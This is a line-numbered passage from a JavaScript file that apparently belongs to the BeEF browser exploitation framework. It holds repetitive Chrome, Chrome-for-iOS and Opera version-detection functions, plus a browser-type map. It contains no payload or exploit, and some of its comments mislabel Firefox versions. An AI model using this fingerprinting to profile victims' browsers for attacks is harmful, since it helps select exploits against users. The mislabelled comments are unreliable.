  7448.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 83) ? true : false);
  7449.     },
  7450.  
  7451.     /**
  7452.      * Returns true if Chrome for iOS 83.
  7453.      * @example: beef.browser.isC83iOS()
  7454.      */
  7455.     isC83iOS: function () {
  7456.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 83) ? true : false);
  7457.     },
  7458.  
  7459.     /**
  7460.      * Returns true if Chrome 84.
  7461.      * @example: beef.browser.isC84()
  7462.      */
  7463.     isC84: function () {
  7464.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 84) ? true : false);
  7465.     },
  7466.  
  7467.     /**
  7468.      * Returns true if Chrome for iOS 84.
  7469.      * @example: beef.browser.isC84iOS()
  7470.      */
  7471.     isC84iOS: function () {
  7472.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 84) ? true : false);
  7473.     },
  7474.  
  7475.     /**
  7476.      * Returns true if Chrome 85.
  7477.      * @example: beef.browser.isC85()
  7478.      */
  7479.     isC85: function () {
  7480.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 85) ? true : false);
  7481.     },
  7482.  
  7483.     /**
  7484.      * Returns true if Chrome for iOS 85.
  7485.      * @example: beef.browser.isC85iOS()
  7486.      */
  7487.     isC85iOS: function () {
  7488.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 85) ? true : false);
  7489.     },
  7490.  
  7491.     /**
  7492.      * Returns true if Chrome 86.
  7493.      * @example: beef.browser.isC86()
  7494.      */
  7495.     isC86: function () {
  7496.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 86) ? true : false);
  7497.     },
  7498.  
  7499.     /**
  7500.      * Returns true if Chrome for iOS 86.
  7501.      * @example: beef.browser.isC86iOS()
  7502.      */
  7503.     isC86iOS: function () {
  7504.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 86) ? true : false);
  7505.     },
  7506.  
  7507.     /**
  7508.      * Returns true if Chrome 87.
  7509.      * @example: beef.browser.isC87()
  7510.      */
  7511.     isC87: function () {
  7512.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 87) ? true : false);
  7513.     },
  7514.  
  7515.     /**
  7516.      * Returns true if Chrome for iOS 87.
  7517.      * @example: beef.browser.isC87iOS()
  7518.      */
  7519.     isC87iOS: function () {
  7520.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 87) ? true : false);
  7521.     },
  7522.  
  7523.     /**
  7524.      * Returns true if Chrome 88.
  7525.      * @example: beef.browser.isC88()
  7526.      */
  7527.     isC88: function () {
  7528.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 88) ? true : false);
  7529.     },
  7530.  
  7531.     /**
  7532.      * Returns true if Chrome for iOS 88.
  7533.      * @example: beef.browser.isC88iOS()
  7534.      */
  7535.     isC88iOS: function () {
  7536.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 88) ? true : false);
  7537.     },
  7538.  
  7539.     /**
  7540.      * Returns true if Chrome 89.
  7541.      * @example: beef.browser.isC89()
  7542.      */
  7543.     isC89: function () {
  7544.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 89) ? true : false);
  7545.     },
  7546.  
  7547.     /**
  7548.      * Returns true if Chrome for iOS 89.
  7549.      * @example: beef.browser.isC89iOS()
  7550.      */
  7551.     isC89iOS: function () {
  7552.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 89) ? true : false);
  7553.     },
  7554.  
  7555.     /**
  7556.      * Returns true if Chrome 90.
  7557.      * @example: beef.browser.isC90()
  7558.      */
  7559.     isC90: function () {
  7560.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 90) ? true : false);
  7561.     },
  7562.  
  7563.     /**
  7564.      * Returns true if Chrome for iOS 90.
  7565.      * @example: beef.browser.isC90iOS()
  7566.      */
  7567.     isC90iOS: function () {
  7568.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 90) ? true : false);
  7569.     },
  7570.  
  7571.     /**
  7572.      * Returns true if Chrome 91.
  7573.      * @example: beef.browser.isC91()
  7574.      */
  7575.     isC91: function () {
  7576.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 91) ? true : false);
  7577.     },
  7578.  
  7579.     /**
  7580.      * Returns true if Chrome for iOS 91.
  7581.      * @example: beef.browser.isC91iOS()
  7582.      */
  7583.     isC91iOS: function () {
  7584.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 91) ? true : false);
  7585.     },
  7586.  
  7587.     /**
  7588.      * Returns true if Chrome 92.
  7589.      * @example: beef.browser.isC92()
  7590.      */
  7591.     isC92: function () {
  7592.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 92) ? true : false);
  7593.     },
  7594.  
  7595.     /**
  7596.      * Returns true if Chrome for iOS 92.
  7597.      * @example: beef.browser.isC92iOS()
  7598.      */
  7599.     isC92iOS: function () {
  7600.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 92) ? true : false);
  7601.     },
  7602.  
  7603.     /**
  7604.      * Returns true if Chrome 93.
  7605.      * @example: beef.browser.isC93()
  7606.      */
  7607.     isC93: function () {
  7608.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 93) ? true : false);
  7609.     },
  7610.  
  7611.     /**
  7612.      * Returns true if Chrome for iOS 93.
  7613.      * @example: beef.browser.isC93iOS()
  7614.      */
  7615.     isC93iOS: function () {
  7616.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 93) ? true : false);
  7617.     },
  7618.  
  7619.     /**
  7620.      * Returns true if Chrome 94.
  7621.      * @example: beef.browser.isC94()
  7622.      */
  7623.     isC94: function () {
  7624.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 94) ? true : false);
  7625.     },
  7626.  
  7627.     /**
  7628.      * Returns true if Chrome for iOS 94.
  7629.      * @example: beef.browser.isC94iOS()
  7630.      */
  7631.     isC94iOS: function () {
  7632.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 94) ? true : false);
  7633.     },
  7634.  
  7635.     /**
  7636.      * Returns true if Chrome 95.
  7637.      * @example: beef.browser.isC95()
  7638.      */
  7639.     isC95: function () {
  7640.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 95) ? true : false);
  7641.     },
  7642.  
  7643.     /**
  7644.      * Returns true if Chrome for iOS 95.
  7645.      * @example: beef.browser.isC95iOS()
  7646.      */
  7647.     isC95iOS: function () {
  7648.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 95) ? true : false);
  7649.     },
  7650.  
  7651.     /**
  7652.      * Returns true if Chrome 96.
  7653.      * @example: beef.browser.isC96()
  7654.      */
  7655.     isC96: function () {
  7656.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 96) ? true : false);
  7657.     },
  7658.  
  7659.     /**
  7660.      * Returns true if Chrome for iOS 96.
  7661.      * @example: beef.browser.isC96iOS()
  7662.      */
  7663.     isC96iOS: function () {
  7664.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 96) ? true : false);
  7665.     },
  7666.  
  7667.     /**
  7668.      * Returns true if Chrome 97.
  7669.      * @example: beef.browser.isC97()
  7670.      */
  7671.     isC97: function () {
  7672.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 97) ? true : false);
  7673.     },
  7674.  
  7675.     /**
  7676.      * Returns true if Chrome for iOS 97.
  7677.      * @example: beef.browser.isC97iOS()
  7678.      */
  7679.     isC97iOS: function () {
  7680.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 97) ? true : false);
  7681.     },
  7682.  
  7683.     /**
  7684.      * Returns true if Chrome 98.
  7685.      * @example: beef.browser.isC98()
  7686.      */
  7687.     isC98: function () {
  7688.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 98) ? true : false);
  7689.     },
  7690.  
  7691.     /**
  7692.      * Returns true if Chrome for iOS 98.
  7693.      * @example: beef.browser.isC98iOS()
  7694.      */
  7695.     isC98iOS: function () {
  7696.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 98) ? true : false);
  7697.     },
  7698.  
  7699.     /**
  7700.      * Returns true if Chrome 99.
  7701.      * @example: beef.browser.isC99()
  7702.      */
  7703.     isC99: function () {
  7704.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 99) ? true : false);
  7705.     },
  7706.  
  7707.     /**
  7708.      * Returns true if Chrome for iOS 99.
  7709.      * @example: beef.browser.isC99iOS()
  7710.      */
  7711.     isC99iOS: function () {
  7712.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 99) ? true : false);
  7713.     },
  7714.  
  7715.     /**
  7716.      * Returns true for modern versions of Chrome (above 9).
  7717.      * @example: beef.browser.isCbowser()
  7718.      */
  7719.     isCbowser: function () {
  7720.         const parser = bowser.getParser(navigator.userAgent);
  7721.         const browserName = parser.getBrowserName();
  7722.         return browserName == 'Chrome';
  7723.     },    
  7724.  
  7725.     /**
  7726.      * Returns true if Chrome.
  7727.      * @example: beef.browser.isC()
  7728.      */
  7729.     isC: function () {
  7730.         var legacyCheck = this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC59() || this.isC59iOS()|| this.isC60() || this.isC60iOS()|| this.isC61() || this.isC61iOS()|| this.isC62() || this.isC62iOS()|| this.isC63() || this.isC63iOS()|| this.isC64() || this.isC64iOS()|| this.isC65() || this.isC65iOS()|| this.isC66() || this.isC66iOS()|| this.isC67() || this.isC67iOS()|| this.isC68() || this.isC68iOS()|| this.isC69() || this.isC69iOS()|| this.isC70() || this.isC70iOS()|| this.isC71() || this.isC71iOS()|| this.isC72() || this.isC72iOS()|| this.isC73() || this.isC73iOS()|| this.isC74() || this.isC74iOS()|| this.isC75() || this.isC75iOS()|| this.isC76() || this.isC76iOS()|| this.isC77() || this.isC77iOS()|| this.isC78() || this.isC78iOS()|| this.isC79() || this.isC79iOS()|| this.isC80() || this.isC80iOS()|| this.isC81() || this.isC81iOS()|| this.isC82() || this.isC82iOS()|| this.isC83() || this.isC83iOS()|| this.isC84() || this.isC84iOS()|| this.isC85() || this.isC85iOS()|| this.isC86() || this.isC86iOS()|| this.isC87() || this.isC87iOS()|| this.isC88() || this.isC88iOS()|| this.isC89() || this.isC89iOS()|| this.isC90() || this.isC90iOS()|| this.isC91() || this.isC91iOS()|| this.isC92() || this.isC92iOS()|| this.isC93() || this.isC93iOS()|| this.isC94() || this.isC94iOS()|| this.isC95() || this.isC95iOS()|| this.isC96() || this.isC96iOS()|| this.isC97() || this.isC97iOS()|| this.isC98() || this.isC98iOS()|| this.isC99() || this.isC99iOS();
  7731.         return legacyCheck || this.isCbowser();
  7732.     },
  7733.  
  7734.     /**
  7735.      * Returns true if Opera 9.50 through 9.52.
  7736.      * @example: beef.browser.isO9_52()
  7737.      */
  7738.     isO9_52: function () {
  7739.         return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
  7740.     },
  7741.  
  7742.     /**
  7743.      * Returns true if Opera 9.60 through 9.64.
  7744.      * @example: beef.browser.isO9_60()
  7745.      */
  7746.     isO9_60: function () {
  7747.         return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
  7748.     },
  7749.  
  7750.     /**
  7751.      * Returns true if Opera 10.xx.
  7752.      * @example: beef.browser.isO10()
  7753.      */
  7754.     isO10: function () {
  7755.         return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
  7756.     },
  7757.  
  7758.     /**
  7759.      * Returns true if Opera 11.xx.
  7760.      * @example: beef.browser.isO11()
  7761.      */
  7762.     isO11: function () {
  7763.         return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
  7764.     },
  7765.  
  7766.     /**
  7767.      * Returns true if Opera 12.xx.
  7768.      * @example: beef.browser.isO12()
  7769.      */
  7770.     isO12: function () {
  7771.         return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
  7772.     },
  7773.  
  7774.     /**
  7775.      * Returns true if the browser is any version of Opera.
  7776.      * @example: beef.browser.isObowser()
  7777.     */
  7778.     isObowser: function () {
  7779.         const parser = bowser.getParser(navigator.userAgent);
  7780.         const browserName = parser.getBrowserName();
  7781.         return browserName == 'Opera';
  7782.     },
  7783.  
  7784.     /**
  7785.      * Returns true if Opera.
  7786.      * @example: beef.browser.isO()
  7787.      */
  7788.     isO: function () {
  7789.         var legacyCheck = this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
  7790.         return legacyCheck || this.isObowser();
  7791.     },
  7792.  
  7793.     /**
  7794.      * Returns the type of browser being used.
  7795.      * @example: beef.browser.type().IE6
  7796.      * @example: beef.browser.type().FF
  7797.      * @example: beef.browser.type().O
  7798.      */
  7799.     type: function () {
  7800.  
  7801.         return {
  7802.             E: this.isEdge(), // Edge any version
  7803.             C5: this.isC5(), // Chrome 5
  7804.             C6: this.isC6(), // Chrome 6
  7805.             C7: this.isC7(), // Chrome 7
  7806.             C8: this.isC8(), // Chrome 8
  7807.             C9: this.isC9(), // Chrome 9
  7808.             C10: this.isC10(), // Chrome 10
  7809.             C11: this.isC11(), // Chrome 11
  7810.             C12: this.isC12(), // Chrome 12
  7811.             C13: this.isC13(), // Chrome 13
  7812.             C14: this.isC14(), // Chrome 14
  7813.             C15: this.isC15(), // Chrome 15
  7814.             C16: this.isC16(), // Chrome 16
  7815.             C17: this.isC17(), // Chrome 17
  7816.             C18: this.isC18(), // Chrome 18
  7817.             C19: this.isC19(), // Chrome 19
  7818.             C19iOS: this.isC19iOS(), // Chrome 19 on iOS
  7819.             C20: this.isC20(), // Chrome 20
  7820.             C20iOS: this.isC20iOS(), // Chrome 20 on iOS
  7821.             C21: this.isC21(), // Chrome 21
  7822.             C21iOS: this.isC21iOS(), // Chrome 21 on iOS
  7823.             C22: this.isC22(), // Chrome 22
  7824.             C22iOS: this.isC22iOS(), // Chrome 22 on iOS
  7825.             C23: this.isC23(), // Chrome 23
  7826.             C23iOS: this.isC23iOS(), // Chrome 23 on iOS
  7827.             C24: this.isC24(), // Chrome 24
  7828.             C24iOS: this.isC24iOS(), // Chrome 24 on iOS
  7829.             C25: this.isC25(), // Chrome 25
  7830.             C25iOS: this.isC25iOS(), // Chrome 25 on iOS
  7831.             C26: this.isC26(), // Chrome 26
  7832.             C26iOS: this.isC26iOS(), // Chrome 26 on iOS
  7833.             C27: this.isC27(), // Chrome 27
  7834.             C27iOS: this.isC27iOS(), // Chrome 27 on iOS
  7835.             C28: this.isC28(), // Chrome 28
  7836.             C28iOS: this.isC28iOS(), // Chrome 28 on iOS
  7837.             C29: this.isC29(), // Chrome 29
  7838.             C29iOS: this.isC29iOS(), // Chrome 29 on iOS
  7839.             C30: this.isC30(), // Chrome 30
  7840.             C30iOS: this.isC30iOS(), // Chrome 30 on iOS
  7841.             C31: this.isC31(), // Chrome 31
  7842.             C31iOS: this.isC31iOS(), // Chrome 31 on iOS
  7843.             C32: this.isC32(), // Chrome 32
  7844.             C32iOS: this.isC32iOS(), // Chrome 32 on iOS
  7845.             C33: this.isC33(), // Chrome 33
  7846.             C33iOS: this.isC33iOS(), // Chrome 33 on iOS
  7847.             C34: this.isC34(), // Chrome 34
  7848.             C34iOS: this.isC34iOS(), // Chrome 34 on iOS
  7849.             C35: this.isC35(), // Chrome 35
  7850.             C35iOS: this.isC35iOS(), // Chrome 35 on iOS
  7851.             C36: this.isC36(), // Chrome 36
  7852.             C36iOS: this.isC36iOS(), // Chrome 36 on iOS
  7853.             C37: this.isC37(), // Chrome 37
  7854.             C37iOS: this.isC37iOS(), // Chrome 37 on iOS
  7855.             C38: this.isC38(), // Chrome 38
  7856.             C38iOS: this.isC38iOS(), // Chrome 38 on iOS
  7857.             C39: this.isC39(), // Chrome 39
  7858.             C39iOS: this.isC39iOS(), // Chrome 39 on iOS
  7859.             C40: this.isC40(), // Chrome 40
  7860.             C40iOS: this.isC40iOS(), // Chrome 40 on iOS
  7861.             C41: this.isC41(), // Chrome 41
  7862.             C41iOS: this.isC41iOS(), // Chrome 41 on iOS
  7863.             C42: this.isC42(), // Chrome 42
  7864.             C42iOS: this.isC42iOS(), // Chrome 42 on iOS
  7865.             C43: this.isC43(), // Chrome 43
  7866.             C43iOS: this.isC43iOS(), // Chrome 43 on iOS
  7867.             C44: this.isC44(), // Chrome 44
  7868.             C44iOS: this.isC44iOS(), // Chrome 44 on iOS
  7869.             C45: this.isC45(), // Chrome 45
  7870.             C45iOS: this.isC45iOS(), // Chrome 45 on iOS
  7871.             C46: this.isC46(), // Chrome 46
  7872.             C46iOS: this.isC46iOS(), // Chrome 46 on iOS
  7873.             C47: this.isC47(), // Chrome 47
  7874.             C47iOS: this.isC47iOS(), // Chrome 47 on iOS
  7875.             C48: this.isC48(), // Chrome 48
  7876.             C48iOS: this.isC48iOS(), // Chrome 48 on iOS
  7877.             C49: this.isC49(), // Chrome 49
  7878.             C49iOS: this.isC49iOS(), // Chrome 49 on iOS
  7879.             C50: this.isC50(), // Chrome 50
  7880.             C50iOS: this.isC50iOS(), // Chrome 50 on iOS
  7881.             C51: this.isC51(), // Chrome 51
  7882.             C51iOS: this.isC51iOS(), // Chrome 51 on iOS
  7883.             C52: this.isC52(), // Chrome 52
  7884.             C52iOS: this.isC52iOS(), // Chrome 52 on iOS
  7885.             C53: this.isC53(), // Chrome 53
  7886.             C53iOS: this.isC53iOS(), // Chrome 53 on iOS
  7887.             C54: this.isC54(), // Chrome 54
  7888.             C54iOS: this.isC54iOS(), // Chrome 54 on iOS
  7889.             C55: this.isC55(), // Chrome 55
  7890.             C55iOS: this.isC55iOS(), // Chrome 55 on iOS
  7891.             C56: this.isC56(), // Chrome 56
  7892.             C56iOS: this.isC56iOS(), // Chrome 56 on iOS
  7893.             C57: this.isC57(), // Chrome 57
  7894.             C57iOS: this.isC57iOS(), // Chrome 57 on iOS
  7895.             C58: this.isC58(), // Chrome 58
  7896.             C58iOS: this.isC58iOS(), // Chrome 58 on iOS
  7897.             C63iOS: this.isC63iOS(),
  7898.             C: this.isC(), // Chrome any version
  7899.  
  7900.             FF2: this.isFF2(), // Firefox 2
  7901.             FF3: this.isFF3(), // Firefox 3
  7902.             FF3_5: this.isFF3_5(), // Firefox 3.5
  7903.             FF3_6: this.isFF3_6(), // Firefox 3.6
  7904.             FF4: this.isFF4(), // Firefox 4
  7905.             FF5: this.isFF5(), // Firefox 5
  7906.             FF6: this.isFF6(), // Firefox 6
  7907.             FF7: this.isFF7(), // Firefox 7
  7908.             FF8: this.isFF8(), // Firefox 8
  7909.             FF9: this.isFF9(), // Firefox 9
  7910.             FF10: this.isFF10(), // Firefox 10
  7911.             FF11: this.isFF11(), // Firefox 11
  7912.             FF12: this.isFF12(), // Firefox 12
  7913.             FF13: this.isFF13(), // Firefox 13
  7914.             FF14: this.isFF14(), // Firefox 14
  7915.             FF15: this.isFF15(), // Firefox 15
  7916.             FF16: this.isFF16(), // Firefox 16
  7917.             FF17: this.isFF17(), // Firefox 17
  7918.             FF18: this.isFF18(), // Firefox 18
  7919.             FF19: this.isFF19(), // Firefox 19
  7920.             FF20: this.isFF20(), // Firefox 20
  7921.             FF21: this.isFF21(), // Firefox 21
  7922.             FF22: this.isFF22(), // Firefox 22
  7923.             FF23: this.isFF23(), // Firefox 23
  7924.             FF24: this.isFF24(), // Firefox 24
  7925.             FF25: this.isFF25(), // Firefox 25
  7926.             FF26: this.isFF26(), // Firefox 26
  7927.             FF27: this.isFF27(), // Firefox 27
  7928.             FF28: this.isFF28(), // Firefox 28
  7929.             FF29: this.isFF29(), // Firefox 29
  7930.             FF30: this.isFF30(), // Firefox 30
  7931.             FF31: this.isFF31(), // Firefox 31
  7932.             FF32: this.isFF32(), // Firefox 32
  7933.             FF33: this.isFF33(), // Firefox 33
  7934.             FF34: this.isFF34(), // Firefox 34
  7935.             FF35: this.isFF35(), // Firefox 35
  7936.             FF36: this.isFF36(), // Firefox 36
  7937.             FF37: this.isFF37(), // Firefox 37
  7938.             FF38: this.isFF38(), // Firefox 38
  7939.             FF39: this.isFF39(), // Firefox 39
  7940.             FF40: this.isFF40(), // Firefox 40
  7941.             FF41: this.isFF41(), // Firefox 41
  7942.             FF42: this.isFF42(), // Firefox 42
  7943.             FF43: this.isFF43(), // Firefox 43
  7944.             FF44: this.isFF44(), // Firefox 44
  7945.             FF45: this.isFF45(), // Firefox 45
  7946.             FF46: this.isFF46(), // Firefox 46
  7947.             FF47: this.isFF47(), // Firefox 47
  7948.             FF48: this.isFF48(), // Firefox 48
  7949.             FF49: this.isFF49(), // Firefox 49
  7950.             FF50: this.isFF50(), // Firefox 50
  7951.             FF51: this.isFF51(), // Firefox 51
  7952.             FF52: this.isFF52(), // Firefox 52
  7953.             FF53: this.isFF53(), // Firefox 53
  7954.             FF54: this.isFF54(), // Firefox 54
  7955.             FF55: this.isFF55(), // Firefox 55
  7956.             FF56: this.isFF56(), // Firefox 56
  7957.             FF57: this.isFF57(), // Firefox 57
  7958.             FF58: this.isFF58(), // Firefox 58
  7959.             FF59: this.isFF59(), // Firefox 59
  7960.             FF60: this.isFF60(), // Firefox 60
  7961.             FF61: this.isFF61(), // Firefox 61
  7962.             FF62: this.isFF62(), // Firefox 62
  7963.             FF63: this.isFF63(), // Firefox 63
  7964.             FF64: this.isFF64(), // Firefox 64
  7965.             FF65: this.isFF65(), // Firefox 65
  7966.             FF66: this.isFF66(), // Firefox 66
  7967.             FF67: this.isFF67(), // Firefox 67
  7968.             FF68: this.isFF68(), // Firefox 68
  7969.             FF69: this.isFF69(), // Firefox 69
  7970.             FF70: this.isFF70(), // Firefox 70
  7971.             FF71: this.isFF71(), // Firefox 71
  7972.             FF72: this.isFF72(), // Firefox 72
  7973.             FF73: this.isFF73(), // Firefox 73
  7974.             FF74: this.isFF74(), // Firefox 74
  7975.             FF75: this.isFF75(), // Firefox 75
  7976.             FF76: this.isFF76(), // Firefox 76
  7977.             FF77: this.isFF77(), // Firefox 77
  7978.             FF78: this.isFF78(), // Firefox 78
  7979.             FF79: this.isFF79(), // Firefox 79
  7980.             FF80: this.isFF80(), // Firefox 70
  7981.             FF81: this.isFF81(), // Firefox 81
  7982.             FF82: this.isFF82(), // Firefox 82
  7983.             FF83: this.isFF83(), // Firefox 83
  7984.             FF84: this.isFF84(), // Firefox 85
  7985.             FF85: this.isFF85(), // Firefox 85
  7986.             FF86: this.isFF86(), // Firefox 85
  7987.             FF87: this.isFF87(), // Firefox 87
  7988.             FF88: this.isFF88(), // Firefox 85
  7989.             FF89: this.isFF89(), // Firefox 85
  7990.             FF90: this.isFF90(), // Firefox 80
  7991.             FF91: this.isFF91(), // Firefox 95
  7992.             FF92: this.isFF92(), // Firefox 92
  7993.             FF93: this.isFF93(), // Firefox 95
  7994.             FF94: this.isFF94(), // Firefox 94
  7995.             FF95: this.isFF95(), // Firefox 95
  7996.             FF96: this.isFF96(), // Firefox 96
  7997.             FF97: this.isFF97(), // Firefox 97
  7998.             FF98: this.isFF98(), // Firefox 98
  7999.             FF99: this.isFF99(), // Firefox 99
  8000.  
  8001.             FF: this.isFF(),   // Firefox any version
  8002.  
  8003.             IE6: this.isIE6(), // Internet Explorer 6
  8004.             IE7: this.isIE7(), // Internet Explorer 7
  8005.             IE8: this.isIE8(), // Internet Explorer 8
  8006.             IE9: this.isIE9(), // Internet Explorer 9
  8007.             IE10: this.isIE10(), // Internet Explorer 10
  8008.             IE11: this.isIE11(), // Internet Explorer 11
  8009.             IE: this.isIE(), // Internet Explorer any version
  8010.  
  8011.             O9_52: this.isO9_52(), // Opera 9.50 through 9.52
  8012.             O9_60: this.isO9_60(), // Opera 9.60 through 9.64
  8013.             O10: this.isO10(), // Opera 10.xx
  8014.             O11: this.isO11(), // Opera 11.xx
  8015.             O12: this.isO12(), // Opera 12.xx
  8016.             O: this.isO(),   // Opera any version
  8017.  
